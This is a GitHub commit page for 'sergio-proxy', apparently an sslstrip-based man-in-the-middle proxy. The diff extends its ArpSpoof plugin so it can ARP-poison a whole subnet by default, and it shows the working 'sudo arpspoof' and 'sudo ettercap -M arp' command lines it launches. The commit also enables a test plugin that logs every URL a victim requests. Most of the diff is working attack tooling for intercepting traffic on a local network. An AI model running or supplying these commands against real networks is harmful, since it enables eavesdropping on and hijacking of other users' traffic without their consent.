Skip to content

Commit

Permalink
Added support to MITM entire subnet
Browse files Browse the repository at this point in the history
  • Loading branch information
[email protected] committed Sep 29, 2011
1 parent 35a99fc commit 070412a
Show file tree
Hide file tree
Showing 3 changed files with 11 additions and 10 deletions.
17 changes: 10 additions & 7 deletions plugins/ArpSpoof.py
Original file line number Diff line number Diff line change
Expand Up @@ -31,20 +31,23 @@ def initialize(self,options):
self.run_subprocess("sudo ettercap -i %s -T -o -M arp /%s/ /%s/"\
% (options.input_if,self.vic_ip,self.router_ip))
else:
self.run_subprocess("sudo arpspoof -i %s -t %s %s"\
if self.vic_ip:
self.run_subprocess("sudo arpspoof -i %s -t %s %s"\
% (options.input_if,self.vic_ip,self.router_ip))
self.run_subprocess("sudo arpspoof -i %s -t %s %s"\
% (options.input_if,self.router_ip,self.vic_ip))
else:
self.run_subprocess("sudo arpspoof -i %s %s"\
% (options.input_if,self.router_ip))

def run_subprocess(self,cmd):
p = subprocess.Popen(cmd,shell=True,
stdout=fnull, stderr=subprocess.STDOUT)
self.procs.append(p)

def add_options(self,options):
options.add_argument("--victim-ip",type=str,default="127.0.0.1",
help="The IP address or range of your victim (default 127.0.0.1)")
options.add_argument("--router-ip",type=str,default="127.0.0.1",
help="The IP address of the local routers (default 127.0.0.1)")
options.add_argument("--victim-ip",type=str,default="",
help="The IP address or range of your victim (default: all)")
options.add_argument("--router-ip",type=str,default="192.168.1.1",
help="The IP address of the local routers (default: 192.168.1.1)")
options.add_argument("--use-ettercap",action="store_true",
help="Use ettercap instead of arpspoof for MITM")
options.add_argument("-i","--input-if",type=str,default="eth0",
Expand Down
2 changes: 0 additions & 2 deletions plugins/test.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,5 @@
from plugins.plugin import Plugin
#Uncomment to use
'''
class Test(Plugin):
name = "Test"
optname = "test"
Expand All @@ -13,4 +12,3 @@ def initialize(self,options):
self.worked = options.test
def handleResponse(self,request,data):
print "http://" + request.client.getRequestHostname() + request.uri
'''
2 changes: 1 addition & 1 deletion sergio-proxy.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@
plugin_classes = plugin.Plugin.__subclasses__()

sslstrip_version = "0.9"
sergio_version = "0.2"
sergio_version = "0.2.1"

if __name__ == "__main__":
parser = argparse.ArgumentParser(
Expand Down

0 comments on commit 070412a

Please sign in to comment.